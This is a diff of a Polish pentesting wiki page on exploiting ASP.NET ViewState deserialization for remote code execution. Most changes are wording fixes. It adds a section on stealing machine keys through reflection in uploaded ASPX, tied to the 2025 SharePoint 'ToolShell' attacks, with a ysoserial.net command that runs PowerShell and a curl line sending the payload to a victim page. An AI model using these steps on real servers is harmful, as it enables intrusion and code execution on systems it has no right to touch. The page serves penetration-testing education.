diff --git a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
index 99c64522b..dd4f19549 100644
--- a/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
+++ b/src/pentesting-web/deserialization/exploiting-__viewstate-parameter.md
@@ -6,7 +6,7 @@
## Czym jest ViewState
-**ViewState** służy jako domyślny mechanizm w ASP.NET do utrzymywania danych strony i kontrolki pomiędzy stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony oraz wartości, które mają być zachowane podczas postbacku, są serializowane do ciągów zakodowanych w base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState.
+**ViewState** służy jako domyślny mechanizm w ASP.NET do utrzymywania danych strony i kontrolki pomiędzy stronami internetowymi. Podczas renderowania HTML strony, bieżący stan strony oraz wartości do zachowania podczas postbacku są serializowane do ciągów zakodowanych w base64. Te ciągi są następnie umieszczane w ukrytych polach ViewState.
Informacje o ViewState można scharakteryzować przez następujące właściwości lub ich kombinacje:
@@ -21,10 +21,10 @@ Informacje o ViewState można scharakteryzować przez następujące właściwoś
Obrazek to tabela szczegółowo opisująca różne konfiguracje dla ViewState w ASP.NET w zależności od wersji frameworka .NET. Oto podsumowanie treści:
-1. Dla **wszystkich wersji .NET**, gdy zarówno MAC, jak i szyfrowanie są wyłączone, MachineKey nie jest wymagany, a zatem nie ma zastosowanej metody do jego identyfikacji.
+1. Dla **dowolnej wersji .NET**, gdy zarówno MAC, jak i szyfrowanie są wyłączone, MachineKey nie jest wymagany, a zatem nie ma zastosowanej metody do jego identyfikacji.
2. Dla **wersji poniżej 4.5**, jeśli MAC jest włączony, ale szyfrowanie nie, wymagany jest MachineKey. Metoda identyfikacji MachineKey nazywa się "Blacklist3r."
3. Dla **wersji poniżej 4.5**, niezależnie od tego, czy MAC jest włączony, czy wyłączony, jeśli szyfrowanie jest włączone, wymagany jest MachineKey. Identyfikacja MachineKey to zadanie dla "Blacklist3r - Future Development."
-4. Dla **wersji 4.5 i wyższych**, wszystkie kombinacje MAC i szyfrowania (czy obie są true, czy jedna jest true, a druga false) wymagają MachineKey. MachineKey można zidentyfikować za pomocą "Blacklist3r."
+4. Dla **wersji 4.5 i wyższych**, wszystkie kombinacje MAC i szyfrowania (czy to obie są true, czy jedna jest true, a druga false) wymagają MachineKey. MachineKey można zidentyfikować za pomocą "Blacklist3r."
### Przypadek testowy: 1 – EnableViewStateMac=false i viewStateEncryptionMode=false
@@ -40,8 +40,8 @@ ysoserial.exe -o base64 -g TypeConfuseDelegate -f ObjectStateFormatter -c "power
```
### Test case 1.5 – Jak Test case 1, ale ciasteczko ViewState nie jest wysyłane przez serwer
-Programiści mogą **usunąć ViewState** z stania się częścią żądania HTTP (użytkownik nie otrzyma tego ciasteczka).\
-Można założyć, że jeśli **ViewState** jest **nieobecny**, ich implementacja jest **bezpieczna** przed wszelkimi potencjalnymi lukami związanymi z deserializacją ViewState.\
+Programiści mogą **usunąć ViewState** z żądania HTTP (użytkownik nie otrzyma tego ciasteczka).\
+Można założyć, że jeśli **ViewState** jest **nieobecny**, ich implementacja jest **bezpieczna** przed potencjalnymi lukami związanymi z deserializacją ViewState.\
Jednak nie jest to prawda. Jeśli **dodamy parametr ViewState** do ciała żądania i wyślemy nasz zserializowany ładunek stworzony za pomocą ysoserial, nadal będziemy w stanie osiągnąć **wykonanie kodu**, jak pokazano w **Przypadku 1**.
### Test Case: 2 – .Net < 4.5 i EnableViewStateMac=true & ViewStateEncryptionMode=false
@@ -108,15 +108,15 @@ W przypadkach, gdy parametr `_VIEWSTATEGENERATOR` **nie jest wysyłany** przez s
```
### Test Case: 3 – .Net < 4.5 i EnableViewStateMac=true/false oraz ViewStateEncryptionMode=true
-W tym przypadku nie wiadomo, czy parametr jest chroniony za pomocą MAC. Wtedy wartość jest prawdopodobnie zaszyfrowana i **będziesz potrzebować klucza maszyny, aby zaszyfrować swój ładunek** w celu wykorzystania luki.
+W tym przypadku nie wiadomo, czy parametr jest chroniony za pomocą MAC. Wtedy wartość jest prawdopodobnie zaszyfrowana i **potrzebujesz klucza maszyny, aby zaszyfrować swój ładunek** w celu wykorzystania luki.
**W tym przypadku** [**Blacklist3r**](https://github.com/NotSoSecure/Blacklist3r/tree/master/MachineKey/AspDotNetWrapper) **moduł jest w trakcie rozwoju...**
**Przed .NET 4.5**, ASP.NET może **akceptować** **niezaszyfrowany** \_`__VIEWSTATE`\_ parametr od użytkowników **nawet** jeśli **`ViewStateEncryptionMode`** został ustawiony na _**Zawsze**_. ASP.NET **sprawdza tylko** **obecność** parametru **`__VIEWSTATEENCRYPTED`** w żądaniu. **Jeśli usuniemy ten parametr i wyślemy niezaszyfrowany ładunek, nadal zostanie on przetworzony.**
-Dlatego jeśli atakujący znajdą sposób na uzyskanie klucza maszyny za pomocą innej luki, takiej jak przejście przez pliki, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) polecenie użyte w **Przypadku 2**, może być użyte do przeprowadzenia RCE przy użyciu luki w deserializacji ViewState.
+Dlatego jeśli atakujący znajdą sposób na uzyskanie klucza maszyny za pomocą innej luki, takiej jak przejście przez pliki, [**YSoSerial.Net**](https://github.com/pwntester/ysoserial.net) polecenie użyte w **Przypadku 2**, może być użyte do przeprowadzenia RCE przy użyciu luki deserializacji ViewState.
-- Usuń parametr `__VIEWSTATEENCRYPTED` z żądania, aby wykorzystać lukę w deserializacji ViewState, w przeciwnym razie zwróci błąd walidacji MAC Viewstate i exploit się nie powiedzie.
+- Usuń parametr `__VIEWSTATEENCRYPTED` z żądania, aby wykorzystać lukę deserializacji ViewState, w przeciwnym razie zwróci błąd walidacji MAC Viewstate i exploit się nie powiedzie.
### Test Case: 4 – .Net >= 4.5 i EnableViewStateMac=true/false oraz ViewStateEncryptionMode=true/false z wyjątkiem obu atrybutów ustawionych na false
@@ -124,7 +124,7 @@ Możemy wymusić użycie frameworka ASP.NET, określając poniższy parametr w p
```xml
```
-Alternatywnie, można to zrobić, określając poniższą opcję wewnątrz parametru `machineKey` pliku web.config.
+Alternatywnie, można to zrobić, określając poniższą opcję wewnątrz parametru `machineKey` w pliku web.config.
```bash
compatibilityMode="Framework45"
```
@@ -157,7 +157,7 @@ Jeśli masz wartość `__VIEWSTATEGENERATOR`, możesz spróbować **użyć** par
Udane wykorzystanie podatności na deserializację ViewState doprowadzi do żądania out-of-band do serwera kontrolowanego przez atakującego, które zawiera nazwę użytkownika. Tego rodzaju exploit jest demonstrowany w dowodzie koncepcji (PoC), który można znaleźć w zasobie zatytułowanym "Exploiting ViewState Deserialization using Blacklist3r and YsoSerial.NET". Aby uzyskać dalsze szczegóły na temat tego, jak działa proces eksploatacji i jak wykorzystać narzędzia takie jak Blacklist3r do identyfikacji MachineKey, możesz zapoznać się z dostarczonym [PoC of Successful Exploitation](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/#PoC).
-### Test Case 6 – Używana jest ViewStateUserKeys
+### Test Case 6 – Używany jest ViewStateUserKeys
Właściwość **ViewStateUserKey** może być używana do **obrony** przed **atakiem CSRF**. Jeśli taki klucz został zdefiniowany w aplikacji i próbujemy wygenerować ładunek **ViewState** za pomocą metod omówionych do tej pory, **ładunek nie zostanie przetworzony przez aplikację**.\
Musisz użyć jeszcze jednego parametru, aby poprawnie stworzyć ładunek:
@@ -166,16 +166,48 @@ Musisz użyć jeszcze jednego parametru, aby poprawnie stworzyć ładunek:
```
### Wynik udanej eksploitacji
-Wszystkie przypadki testowe, jeśli ładunek ViewState YSoSerial.Net działa **pomyślnie**, serwer odpowiada “**500 Internal server error**” z treścią odpowiedzi “**Informacje o stanie są nieprawidłowe dla tej strony i mogą być uszkodzone**” i otrzymujemy żądanie OOB.
+Dla wszystkich przypadków testowych, jeśli ładunek ViewState YSoSerial.Net działa **pomyślnie**, serwer odpowiada “**500 Internal server error**” z treścią odpowiedzi “**Informacje o stanie są nieprawidłowe dla tej strony i mogą być uszkodzone**” i otrzymujemy żądanie OOB.
Sprawdź [dalsze informacje tutaj]()
-## Odniesienia
+### Zrzut kluczy maszyny ASP.NET za pomocą refleksji (SharPyShell/SharePoint ToolShell)
+
+Atakujący, którzy są w stanie **przesłać lub wykonać dowolny kod ASPX** w katalogu głównym docelowej witryny, mogą bezpośrednio odzyskać tajne klucze, które chronią `__VIEWSTATE`, zamiast próbować je złamać.
+Minimalny ładunek, który ujawnia klucze, wykorzystuje wewnętrzne klasy .NET za pomocą refleksji:
+```csharp
+<%@ Import Namespace="System.Web.Configuration" %>
+<%@ Import Namespace="System.Reflection" %>
+
+```
+Żądanie strony zwraca **ValidationKey**, **DecryptionKey**, algorytm szyfrowania oraz tryb zgodności ASP.NET. Te wartości można teraz bezpośrednio wprowadzić do **ysoserial.net**, aby stworzyć ważny, podpisany gadżet `__VIEWSTATE`:
+```bash
+ysoserial.exe -p ViewState -g TypeConfuseDelegate \
+-c "powershell -nop -c \"whoami\"" \
+--generator= \
+--validationkey= --validationalg= \
+--decryptionkey= --decryptionalg= \
+--islegacy --minify
+curl "http://victim/page.aspx?__VIEWSTATE="
+```
+Ten **prymityw eksfiltracji kluczy** był masowo wykorzystywany przeciwko lokalnym serwerom SharePoint w 2025 roku ("ToolShell" – CVE-2025-53770/53771), ale ma zastosowanie w każdej aplikacji ASP.NET, w której atakujący może uruchomić kod po stronie serwera.
+
+## References
- [**https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/**](https://www.notsosecure.com/exploiting-viewstate-deserialization-using-blacklist3r-and-ysoserial-net/)
- [**https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817**](https://medium.com/@swapneildash/deep-dive-into-net-viewstate-deserialization-and-its-exploitation-54bf5b788817)
- [**https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/**](https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/)
- [**https://blog.blacklanternsecurity.com/p/introducing-badsecrets**](https://blog.blacklanternsecurity.com/p/introducing-badsecrets)
+- [SharePoint “ToolShell” exploitation chain (Eye Security, 2025)](https://research.eye.security/sharepoint-under-siege/)